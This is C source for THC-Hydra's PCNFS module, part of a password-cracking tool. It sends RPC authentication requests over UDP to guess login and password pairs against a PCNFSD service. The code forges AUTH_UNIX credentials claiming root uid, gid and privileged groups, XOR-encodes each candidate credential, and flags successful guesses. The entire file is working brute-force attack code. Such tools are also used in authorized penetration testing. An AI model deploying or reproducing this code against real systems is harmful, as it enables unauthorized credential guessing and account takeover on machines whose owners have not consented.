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hydra-pcnfs.c
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hydra-pcnfs.c
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#include "hydra-mod.h"
/* pcnfs stuff copied from prout.c */
extern char *HYDRA_EXIT;
char *buf;
#define LEN_HDR_RPC 24
#define LEN_AUTH_UNIX 72 + 12
/* RPC common hdr */
struct rpc_hdr { /* 24 */
unsigned long xid;
unsigned long type_msg;
unsigned long version_rpc;
unsigned long prog_id;
unsigned long prog_ver;
unsigned long prog_proc;
};
struct pr_auth_args {
unsigned long len_clnt;
char name[64];
unsigned long len_id;
char id[32];
unsigned long len_passwd;
char passwd[64];
unsigned long len_comments;
char comments[255];
};
#define LEN_HDR_PCN_AUTH sizeof(struct pr_auth_args)
/* Lets start ... */
int32_t start_pcnfs(int32_t s, char *ip, int32_t port, unsigned char options, char *miscptr, FILE *fp) {
char *empty = "";
char *login, *pass, buffer[LEN_HDR_RPC + LEN_AUTH_UNIX + LEN_HDR_PCN_AUTH];
char *ptr, *pkt = buffer;
unsigned long *authp;
struct timeval tv;
struct rpc_hdr *rpch;
struct pr_auth_args *prh;
if (strlen(login = hydra_get_next_login()) == 0)
login = empty;
if (strlen(pass = hydra_get_next_password()) == 0)
pass = empty;
memset(pkt, 0, sizeof(buffer));
rpch = (struct rpc_hdr *)(pkt);
authp = (unsigned long *)(pkt + LEN_HDR_RPC);
prh = (struct pr_auth_args *)(pkt + LEN_HDR_RPC + LEN_AUTH_UNIX);
rpch->xid = htonl(0x32544843);
rpch->type_msg = htonl(0);
rpch->version_rpc = htonl(2);
rpch->prog_id = htonl(150001);
rpch->prog_ver = htonl(2);
rpch->prog_proc = htonl(13); /* PCNFSD_PROC_PRAUTH */
prh->len_clnt = htonl(63);
prh->len_id = htonl(31);
prh->len_passwd = htonl(63);
prh->len_comments = htonl(254);
strcpy(prh->comments, " Hydra - THC password cracker - visit "
"https://github.com/vanhauser-thc/thc-hydra - use only "
"allowed for legal purposes ");
strcpy(prh->name, "localhost");
ptr = prh->id;
while (*login) {
*ptr++ = (*login ^ 0x5b) & 0x7f;
login++;
}
*ptr = 0;
ptr = prh->passwd;
while (*pass) {
*ptr++ = (*pass ^ 0x5b) & 0x7f;
pass++;
}
*ptr = 0;
gettimeofday(&tv, (struct timezone *)NULL);
*(authp) = htonl(1); /* auth unix */
*(++authp) = htonl(LEN_AUTH_UNIX - 16); /* length auth */
*(++authp) = htonl(tv.tv_sec); /* local time */
*(++authp) = htonl(9); /* length host */
strcpy((char *)++authp, "localhost"); /* hostname */
authp += (3); /* len(host)%4 */
*(authp) = htonl(0); /* uid root */
*(++authp) = htonl(0); /* gid root */
*(++authp) = htonl(9); /* 9 gid grps */
/* group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid" */
*(++authp) = htonl(0);
*(++authp) = htonl(1);
*(++authp) = htonl(2);
*(++authp) = htonl(3);
*(++authp) = htonl(4);
*(++authp) = htonl(6);
*(++authp) = htonl(10);
*(++authp) = htonl(11);
*(++authp) = htonl(0);
if (hydra_send(s, buffer, sizeof(buffer), 0) < 0) {
fprintf(stderr, "[ERROR] Could not send data to remote server, reconnecting ...\n");
return 1;
}
if ((buf = hydra_receive_line(s)) == NULL) {
fprintf(stderr, "[ERROR] Timeout from remote server, reconnecting ...\n");
return 1;
}
/* analyze the output */
if (buf[2] != 'g' || buf[5] != 32) {
fprintf(stderr, "[ERROR] RPC answer status : bad proc/version/auth\n");
free(buf);
return 3;
}
if (buf[27] == 32 && buf[28] == 32 && buf[29] == 32) {
hydra_report_found_host(port, ip, "pcnfs", fp);
hydra_completed_pair_found();
free(buf);
if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0)
return 3;
} else {
hydra_completed_pair();
free(buf);
if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0)
return 3;
}
return 1;
}
void service_pcnfs(char *ip, int32_t sp, unsigned char options, char *miscptr, FILE *fp, int32_t port, char *hostname) {
int32_t run = 1, next_run = 1, sock = -1;
hydra_register_socket(sp);
if (port == 0) {
fprintf(stderr, "[ERROR] pcnfs module called without -s port!\n");
hydra_child_exit(0);
}
if ((options & OPTION_SSL) != 0) {
fprintf(stderr, "[ERROR] pcnfs module can not be used with SSL!\n");
hydra_child_exit(0);
}
if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0)
return;
while (1) {
next_run = 0;
switch (run) {
case 1: /* connect and service init function */
{
if (sock >= 0)
sock = hydra_disconnect(sock);
// usleepn(275);
if ((sock = hydra_connect_udp(ip, port)) < 0) {
if (quiet != 1)
fprintf(stderr, "[ERROR] Child with pid %d terminating, can not connect\n", (int32_t)getpid());
hydra_child_exit(1);
}
next_run = 2;
break;
}
case 2: /* run the cracking function */
next_run = start_pcnfs(sock, ip, port, options, miscptr, fp);
break;
case 3: /* clean exit */
if (sock >= 0)
sock = hydra_disconnect(sock);
hydra_child_exit(0);
return;
default:
fprintf(stderr, "[ERROR] Caught unknown return code, exiting!\n");
hydra_child_exit(0);
}
run = next_run;
}
}
int32_t service_pcnfs_init(char *ip, int32_t sp, unsigned char options, char *miscptr, FILE *fp, int32_t port, char *hostname) {
// called before the childrens are forked off, so this is the function
// which should be filled if initial connections and service setup has to be
// performed once only.
//
// fill if needed.
//
// return codes:
// 0 all OK
// -1 error, hydra will exit, so print a good error message here
return 0;
}